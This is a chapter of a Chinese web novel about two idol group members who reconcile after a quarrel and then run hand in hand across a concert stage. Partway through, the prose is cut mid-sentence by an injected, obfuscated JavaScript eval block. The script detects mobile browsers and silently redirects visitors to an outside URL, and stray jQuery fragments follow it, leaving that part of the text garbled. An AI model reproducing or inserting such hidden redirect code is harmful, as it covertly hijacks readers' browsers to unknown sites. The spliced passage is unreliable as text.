20.牵手
作品:《今天也在努力摆脱泥塑》 阳光也愈发晃眼,两人慢慢悠悠走在行人道的树荫下面。
陈醒松看着走在自己前面半步的许京殊,他的目光落在自己的影子上,偶尔抬头平视前方,显得有些安静。
他刚才在周塑宁面前那股横冲直撞的劲儿,此刻已经消散,只剩下些微的忐忑不安。
他加快两步,手臂蹭到了许京殊的肩膀。
许京殊能感觉到陈醒松靠近了些。
“那个……”陈醒松的声音在耳边响起来,带着点小心翼翼的试探,“你是不是拿苏凌羽手机给我发消息了?”
“没有的事。”许京殊想到这个,脸有些发烫,打死都不承认。
拿别人手机发消息本来就够丢脸,更丢脸的是对方还已读不回。
陈醒松腆着脸皮戳穿他:“你撒谎,肯定有!”
“……”许京殊闭紧嘴巴不说话,有些炸毛,那你还问问问!
陈醒松注意到许京殊微微鼓起的脸颊和拧起的眉头,在旁边“哎”了一声,语气急急的解释:“我不是故意不回你的,我只是想当面跟你说清楚。你看我不是来了吗?你都不问问我怎么找过来的?”
“没有人想知道,你爱去哪里去哪里!”许京殊嘟囔抱怨,然后越想越不是滋味,“你就算是要当面跟我说说也可以给我发条消息提醒我一下,已读不回算什么事。”
他说着,抬手就在陈醒松胳膊上捶了一记,力道不重,不像打人,更像撒娇。
陈醒松挨了一下,嘴角不受控制地往上扬:“我错了,我下次一定第一时间回你信息。”
许京殊侧过头瞥他一眼,眼神里那点因为被服软哄好的愉悦还没完全散尽:“好啊!陈醒松,你居然还想有下次!”
“我哪敢。”陈醒松意识到说错话立刻认错,语气又带上了点惯有的黏糊,他肩膀轻轻碰了一下许京殊的肩膀,“我忏悔!我深刻反省!我不应该跟你乱闹脾气。”
“你到底怎么回事?”许京殊脚步没停,也没躲开他的触碰,终于把憋了几天的问题问出来,“突然就生气了。”
陈醒松心里咯噔一下,他能怎么说?说他因为发现自己那点见不得光的心思,慌不择路?还是说看到他靠近周塑宁就吃醋失控?
绝对不能说出口,现在不是时候。
陈醒松一下子卡壳了,支吾了好一会儿。
“就是那天心情不好,你就当我间歇性犯病,别和我一般见识。”他胡乱扯着理由,自己都觉得离谱,干脆把问题抛回去,带着点试探,“那你呢?你为什么去找周塑宁一起吃饭?”
这话里的酸意都没怎么掩饰,快要溢出来了。
许京殊奇怪地看他一眼:“队长不在,苏凌羽又懒得出门,我们两个又冷战了,就只剩下周塑宁了。这有什么问题?你不是经常和苏凌羽他们一起吃?”
“那不一样。”陈醒松脱口而出。
“哪里不一样?”许京殊追问。
陈醒松被噎住,张了张嘴,一时语塞。
哪里不一样?当然不一样!可他说不出口。
“……反正就是不一样。”陈醒松不吭声了,半天才憋出一句,只能闷闷地重复。
他觉得自己蠢透了,明明是想和好,怎么又把气氛搞僵了。
许京殊看着陈醒松这副郁闷又说不出口的别扭样子,脑子里忽然灵光一闪,好像摸到了一点门路。
他该不会是吃醋了吧?因为自己跟周塑宁走的近?这个念头冒出来的时候,许京殊心里那点残留的别扭感忽然就散了,他甚至有点想笑。
都说好朋友之间占有欲比起其他关系也不弱,不过他真没想到这家伙看起来大大咧咧,心眼倒挺小。
陈醒松真的很多时候就像个别扭的小狗,闹起来的时候不管不顾,认错时又笨拙得可怜。
“行了,知道你脑子经常抽风。”许京殊语气松了下来,夹杂着无奈的纵容,“下次别这样了,莫名其妙甩脸色,我会很难过。”
“嗯,不会了。”陈醒松立刻保证,转头看他,眼睛亮起来,“真不生气了?”
“看你表现。”许京殊故意板着脸。
陈醒松立刻凑近了些,拉着许京殊的手:“那我请你喝奶茶,你喜欢的蛋糕奥利奥加双倍蛋糕。”
“再说吧,双倍蛋糕你想腻死我啊。”许京殊往前走,嘴上嫌弃,步子轻快了些,“先回去,下午不是还有事吗?”
两人并肩走在街道上,风轻轻吹拂,他们之间的隔阂随着这简单的几句交谈完全消失。
陈醒松的话又多了起来,黏黏糊糊地挤在他旁边说东说西。
许京殊安静的听着,偶尔搭话。
几天后,演唱会后台。
空气里弥漫着化妆品、发胶和汗水的混合气味。
声音异常嘈杂,工作人员急促的脚步声催促声和梁姐最后的检查叮嘱声交织在一起。
许京殊对着镜子最后整理了一下耳返,造型师正在给他额前的碎发做最后的定型,额头上冰凉的触感让他眼睫轻颤。
演出服是统一的黑色系,衬得他脖颈到锁骨的线条愈发清晰。大概是有些紧张,他抿着唇,长睫垂下,在眼睑投下小片阴影。
眼皮上细碎的眼影亮片,随着他眨眼的动作,偶尔折出一点细闪,布灵布灵的,落进了旁边一直注视着他的某人眼里。
许京殊抬眼,从镜子里对上了陈醒松的目光。陈醒松早就做好了造型,松散地靠在旁边的桌沿上,不知看了多久。两人目光在镜中相接,陈醒松也没躲,依旧直勾勾地看着。
他目光钉在许京殊脸上,心跳有点不规律。
“陈醒松,看这边!”苏凌羽拿着手机凑过来要拍照,打断了陈醒松的凝视。
许京殊也完成了妆造,听到声音回头看。
“等一下!”陈醒松立刻几步跨到他身边,两人肩靠肩。
“三、二、一!”
倒数结束的瞬间,许京殊感觉陈醒松的脑袋歪过来,他们两个靠的极近。
咔嚓一声,照片拍好了。
许京殊用胳膊肘顶开他:“你重死了。”
这场景映在在不远处的周塑宁眼里。
他安静地坐在一旁,检查着自己的麦,脸上没什么表情,目光在许京殊脸上停留了一瞬,便垂下眼。
上台的指令传来,五人快步走向通道口,许京殊走在陈醒松后面一步。灯光扑过来的瞬间,巨大的声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032316|193093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浪也同时淹没了他们。
许京殊身上的汗水随着持续不断的舞蹈动作很快就冒了出来,舞台上闪烁的灯光照得人皮肤发烫。
许京殊跟着节奏做动作,转身时总能瞥见陈醒松望向他的视线,在一会儿昏暗一会儿明亮的灯光下显得极具侵略性。
今天的陈醒松,情绪格外外放。每次到两人双人互动拥抱部分,他伸手过来,不是按照原来舞蹈设计的那样虚虚抱着许京殊,而是用力,结结实实地将许京殊整个人包裹住。
时间结束了还恋恋不忘,不肯松手。
自由活动的时候,他也没有按照原来的分配站,而是不远千里,从这头假装无意的走到许京殊附近,然后悄悄的在背后吓他。
台下的cp粉们也不傻,看到爸爸妈妈正常互动了,甚至可以说是越来越黏糊,每次大屏给到两人时总是掀起一阵又一阵的尖叫。
今天的表演在热烈的气氛中接近尾声。
最后一首歌的时候,五人分散在舞台不同方位,对着台下如潮的观众挥手。
所有人都知道这短暂的快乐即将结束。
台下的掌声、尖叫、呐喊都混杂着要离别的伤感。
就在这时,陈醒松快步冲了过来,抓住了许京殊的手。许京殊能感觉到他手心全是汗,热乎乎的,握得很用力。
“跑!”
许京殊一时没听清陈醒松喊的那个字,只看到他汗湿的额发下,一双眼睛亮得惊人,嘴角咧开一个不顾一切的笑容。
然后,他就毫无防备地被一股巨大的力量拽着,猛地向前冲去。
就在那一刻,顶棚上有东西炸开了。
瞬息之间,千万条彩带从数米高的穹顶倾泻而下,整个舞台都被彩带包裹。
陈醒松拉着他,一头撞进这漫天纷飞的彩带雨中,穿过主舞台,沿着延伸台向尽头狂奔。
许京殊渐渐的觉得观众席的尖叫变得遥远而模糊。
他能感觉到彩带落在自己的睫毛上,脸上。痒痒的,他眨了眨眼。
这一刻,他的世界好像忽然缩成了这个彩带飞舞的狭窄空间。冲在他前面半步,紧紧抓着他的手,带着他不管不顾向前奔跑的那个背影,是这通道尽头唯一清晰的光源。
这漫天辉煌,就像专门为他们而落一样。
慢慢的,许京殊没力气了,两人脚步缓了下来,从跑变成了走,两人自然而然的松开了手。
许京殊的大脑还沉浸在极度亢奋带来的微醺感中。
旁边的陈醒松还是精力充沛,他像只撒欢的大型犬,趁着最后这点时间,沿着舞台边缘撒欢似的小跑起来,高举双臂,跳跃着回应台下愈发疯狂的尖叫。
又疯跑了一圈,他才心满意足,一边哼着最后的旋律,一边倒退着往回走。他算准谢场位置之后准备继续拉着许京殊的手一起鞠躬退场。
他的大脑还沉浸在快乐的眩晕中,身体先于意识行动,看也没看一眼,自然而然地伸出手,去拉他旁边那只手。
手指触碰到的瞬间,温热的却有些陌生的皮肤触感传来。
陈醒松脸上那恣意飞扬的笑容,猛然凝固。
不对!
触感不对……

